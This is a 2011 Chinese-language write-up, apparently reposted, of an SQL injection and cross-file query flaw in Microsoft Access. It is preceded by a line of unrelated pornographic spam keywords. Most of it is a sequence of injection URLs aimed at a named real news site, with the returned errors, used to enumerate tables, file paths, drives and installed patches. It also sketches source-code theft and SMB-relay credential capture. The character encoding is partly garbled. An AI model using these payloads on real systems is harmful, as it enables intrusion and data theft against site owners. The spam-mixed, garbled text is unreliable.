国产精品香蕉在线观看网,亚洲欧美精品综合在线观看,亚洲不卡av一区二区无码不卡,亚洲日本精品国产第一区二区

移動安全 安全管理 應(yīng)用案例 網(wǎng)絡(luò)威脅系統(tǒng)安全 應(yīng)用安全 數(shù)據(jù)安全 云安全

跨文件查詢access數(shù)據(jù)庫漏洞的初步報告

時間:2011-05-04 15:49來源: 點擊:
查詢某個動態(tài)網(wǎng)頁文件,利用查詢語句獲取動態(tài)網(wǎng)頁的源代碼,比如讀取文件內(nèi)容并把內(nèi)容寫入到表的一個列里,然后用len暴力猜列里的內(nèi)容,從而得到源碼。
Tags系統(tǒng)安全(735)數(shù)據(jù)庫(89)  

  一. 在一次玩sql injection時無意發(fā)現(xiàn)了這個漏洞:

  1.訪問http://www.lznet.net/news/displaynews.asp?id=24794'

  頁面出錯信息:

   OLE DB Provider for ODBC Drivers 錯誤 '80040e14'

  [Microsoft][ODBC Microsoft Access Driver] 字符串的語法錯誤 在查詢表達式 'id = 24794'' 中。

  /news/displaynews.asp,行133

  2.訪問http://www.lznet.net/news/displaynews.asp?id=24794 and 1=1

  頁面正常

  3.訪問http://www.lznet.net/news/displaynews.asp?id=24794 and 1=2

  頁面返回"找不到文件"

  這是典型的sql injection with access漏洞,接下來猜表名:

  4.訪問http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from news)

  頁面出錯:引擎找不到輸入表或查詢 'news'

  5.訪問http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from admin)

  頁面出錯:數(shù)據(jù)庫引擎找不到輸入表或查詢 'admin'

  6.突然想起了sql injection技術(shù)中得到的出錯信息中表名格式為: news.id

  其中news為表名,id為表中的一個列名

  7.訪問http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from lznet.a)

  出錯:找不到文件 'C:WINNTsystem32lznet.mdb'。

  8.試遍了web根目錄以及所有知道的虛擬目錄,都下載不到這個lznet.mdb,仔細一看原來是lznet.mdb這個文件名是自己定義的。但是,是什么原因泄露系統(tǒng)目錄的物理路徑呢?繼續(xù)試試能不能查詢c:winntsystem32下的cmd.exe文件.

  9.訪問http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from cmd.exe.a)

  這條語句格式是經(jīng)過多次試驗得到的:)

  出錯:"數(shù)據(jù)庫引擎打不開文件'C:WINNTsystem32CMD.EXE'。 它已經(jīng)被別的用戶以獨占方式打開,或沒有查看數(shù)據(jù)的權(quán)限。 "

  分析以上出錯信息,我想權(quán)限是有的,因為我們是基于asp的guest權(quán)限,默認cmd.exe是Everyone:R ,如果打不開那就是數(shù)據(jù)庫不支持了,但是文件夾是可以被數(shù)據(jù)庫訪問,否則我們是搜索不到其中的文件的。

  10.訪問http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from c:cmd.exe.a)

  在這里我們可以看到跨目錄查詢是可行的

  出錯:

  找不到文件 'c:cmd.exe'。

  11.訪問http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from c:oot.ini.a)

  注:boot.ini是win2000在系統(tǒng)盤根目錄下的系統(tǒng)引導文件

  出錯:

  據(jù)庫引擎打不開文件'c:oot.ini'。 它已經(jīng)被別的用戶以獨占方式打開,或沒有查看數(shù)據(jù)的權(quán)限。

  12.訪問http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from d:oot.ini.a)

  跨盤符查詢也是可行的

  出錯:

  找不到文件 'd:oot.ini'。

  13.訪問http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from i:oot.ini.a)

  出錯:

  'i:oot.ini'不是一個有效的路徑。 確定路徑名稱拼寫是否正確,以及是否連接到文件存放的。

  注:我們看到出錯信息很老實的告訴了我們這個系統(tǒng)沒有i盤,從側(cè)面說access的出錯信息在某些方面還是比較詳細的。

  14.這是個比較實際的利用,如果對方是從spx打到spx,在winnt目錄下就會有這些文件,我們可以通過這個漏洞查找這些文件,確定目錄主機打補丁的情況:

  [$NtUninstallQ329553$] [$NtUninstallQ329834$]

  [$NtUninstallQ331953$] [$NtUninstallQ810833$]

  [$NtUninstallQ811114$] [$NtUninstallQ811493$]

  [$NtUninstallQ815021$] [$NtUninstallSP2SRP1$]

  ……………

  二.漏洞的利用設(shè)想:

  1.查詢某個動態(tài)網(wǎng)頁文件,利用查詢語句獲取動態(tài)網(wǎng)頁的源代碼,比如讀取文件內(nèi)容并把內(nèi)容寫入到表的一個列里,然后用len暴力猜列里的內(nèi)容,從而得到源碼。

  2.猜測目錄的位置、文件名等等,了解對方的一點主機信息,比如說系統(tǒng)安裝在哪個分區(qū)上,共有幾個分區(qū)以及系統(tǒng)打的什么補丁等等。

  3.查詢unc路徑,如\1.1.1.1sharea.vbs,而\1.1.1.1運行著smbrelay,我們利用smb重定向技術(shù)有能會得到一個guest權(quán)限的ipc連接,這就有意思多了。

  4.查找敏感文件,比如*.cif,*.mdb等等,但是我沒有實現(xiàn)在access上使用通配符查詢文件,可能是因為我是數(shù)據(jù)庫新手的問題。

  5.執(zhí)行文件,可以的話就發(fā)財了.

  6.以上設(shè)想可能有理解錯誤正在驗證中(你想到什么就告訴我吧)

  有關(guān)我對這個漏洞的理解:

  access對表和列的查詢存在問題,如果我們構(gòu)造一個畸型表名的話,access找不到這樣的表就會當成mdb文件去查找,如果構(gòu)造得當,就會當成一個文件去到硬盤上查找!(默認在system32下查找。我在也簡單測試了一下,沒有發(fā)現(xiàn)這個問題。另外利用這個漏洞需要兩個條件(怕有的人不理解):

  (1)對方是asp+access應(yīng)用體系,并且asp代碼存在過濾不足的問題使我們可以遠程注射sql語句。

  (2)asp要能顯示查詢失敗的詳細信息,比如"數(shù)據(jù)庫引擎找不到輸入表或查詢 'news'"。否則我們無論查詢是否成功都變的沒有意義。

------分隔線----------------------------

推薦內(nèi)容